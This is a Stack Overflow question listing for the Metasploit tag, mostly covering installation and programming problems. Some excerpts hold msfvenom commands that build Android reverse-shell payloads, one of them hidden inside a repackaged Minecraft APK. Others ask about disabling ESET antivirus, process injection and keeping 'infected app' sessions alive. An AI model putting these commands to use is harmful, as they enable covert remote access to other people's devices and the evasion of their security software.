Questions tagged [metasploit]

This tag is for questions about *programming* the Metasploit framework, not for using the framework or attacking a specific site.

The Metasploit Framework is an open-source project owned/sponsored by Rapid7 for vulnerability assessment, exploitation development, penetration testing, and many other computer and network security-related tasks.

Since version 3 of the Framework, Metasploit has been written primarily in Ruby. Version 2 and older were written in Perl. The various payloads, stagers, and shellcodes are primarily written in C, assembly, and Java.

Metasploit is developed on Github. Documentation and community forums are available on Rapid7's community site. Questions can also be asked in the #metasploit channel on Freenode.

If your question is about using Metasploit, rather than programming with it, then it should probably go on our sister site Information Security.

If your question is about attacking a specific system, such questions are off-topic on Stack Overflow. They are also off-topic on Information Security unless they demonstrate an understanding of the concepts involved and clearly identify a specific problem.

Also, any issues resulting from using such tools without permission from the target are your own risk; we do not endorse such actions in any way.

228 questions
2
votes
0 answers

Disable Eset Smart Security using metasploit

Im trying to disable Eset Smart Security 7, in order to do this I have to shutdown his service ekrn.exe so I started with this: sc queryex ekrn SERVICE_NAME: ekrn TYPE : 110 WIN32_OWN_PROCESS (interactive) STATE …
user3454032
  • 45
  • 1
  • 6
2
votes
3 answers

bundle install errors at pg (0.16.0) on OS X 10.9

I am trying to install metasploit on OS X 10.9. Everything i run bundle install, at the installing pg (0.16.0) it errors out /System/Library/Frameworks/Ruby.framework/Versions/2.0/usr/lib/ruby/2.0.0/universal-darwin13/rbconfig.rb:212: warning:…
user2977932
  • 21
  • 1
  • 2
2
votes
1 answer

How to create, edit, and save file through MS Shell from Ubuntu Terminal?

I'm working on exploiting a bug on Windows XP SP2 by using Metasploit and I do this from Ubuntu terminal. Now, I have connected to Windows Shell but now I have small problem with saving my text file. I am using edit file.txt command and then type…
HelpNeeder
  • 6,383
  • 24
  • 91
  • 155
1
vote
1 answer

Where to get the metasploit decloaking source code?

I have recently been reading about getting a web site visitors internal ip address and came across decloak.net which is the ip resolver used by the metasploit framework. Unfortunately the sample page is down and the link to the download is broken -…
Erik
  • 11,944
  • 18
  • 87
  • 126
1
vote
0 answers

Building a metasploit module that runs an .sh script in the shell of an android device. Metasploit fails to load module?

I'm trying to build a module that will allow me to run a .sh script on an android device through meterpreter. I can run this manually by typing shell in the meterpreter session the problem is I can't automate this with an .rc file because it stops…
Asta_187
  • 11
  • 2
1
vote
0 answers

msfvenom android payload is not working properly:

I am trying to create a android payload with msfvenom but it is not working properly: msfvenom -p android/meterpreter/reverse_tcp LHOST="my ip address" LPORT=4444 R>Desktop/Tesk.apk
Tejas S
  • 11
  • 1
1
vote
0 answers

Why i cant install metasploit on termux with out root it always says like this

Traceback (most recent call last): ruby: No such file or directory -- /data/data/com.termux/files/home/metasploit-framework/msfconsole (LoadError)
Mohammed
  • 11
  • 1
1
vote
0 answers

No rakefile found(msfdb init)

I have database.yml error when i open armitage(postgresql connection established) so i installed gems via bundle install. also did gem install rake. i deleted database.yml file because armitage was not accepting it, then i tried to create it but i…
raypun
  • 11
  • 3
1
vote
0 answers

how to Process migration in python

Is it possible to migrate/inject (into) another process memory space using python? I am new to python I know it's possible in c is there any working method or documentation on process migration in python?
John
  • 11
  • 1
1
vote
1 answer

Unable to upgrade shell to meterpreter session

I am trying to upgrade a normal shell to a meterpreter session using "shell_to_meterpreter" module. However, it does not work. I did not receive any errors after the module finished execution. enter image description here Screenshot
1
vote
1 answer

Malformed String Number Version 2.4.0 when msfvenom -x

Read all and carefully Hi, I'm using Kali 2.0 and I love to tweak with it (Sorry for bad english but I'm italian). When I use this command: msfvenom -x minecraft.apk -p android/meterpreter/reverse_tcp LHOST=IP_ADDRESS LPORT=4444 -o mc.apk it gives…
DoggoPlayer
  • 59
  • 1
  • 3
1
vote
1 answer

Metasploit console not opening

Whenever I try to run Metasploit on my Debian 9 cloud instance, the console will be "killed" user@debian:~$ msfconsole NOTE: Inheriting Faraday::Error::ClientError is deprecated; use Faraday::ClientError instead. It will be removed in or after…
tytheguy
  • 53
  • 3
1
vote
0 answers

How to avoid session dieing when exiting infected app

I'm trying to get into the world of android-cybersecurity. I've programmed my first payload with msf venom and put it into an apk of an app I've developed. After exploiting in metasploit I can say that It'works, but It's far from being at least…
1
vote
2 answers

How can I find the Metasploit modules/exploits folder?

I need to go to Metasploit exploits directory in order to download new exploit written by some guy so I need to find metasploit-framework/modules/exploits directory. I trying to see if the folder at least exists, so I type: ls…
Stas Mackarow
  • 175
  • 2
  • 5
  • 16
1
vote
0 answers

metasploit python http.client error missing

I am newbie with Metasploit-framework Just installed it on a Debian 9.7 and running it from a python program got the following error: in from metasploit.msfrpc import MsfRpcClient File…
Joe Briggs
  • 11
  • 1
1 2
3
15 16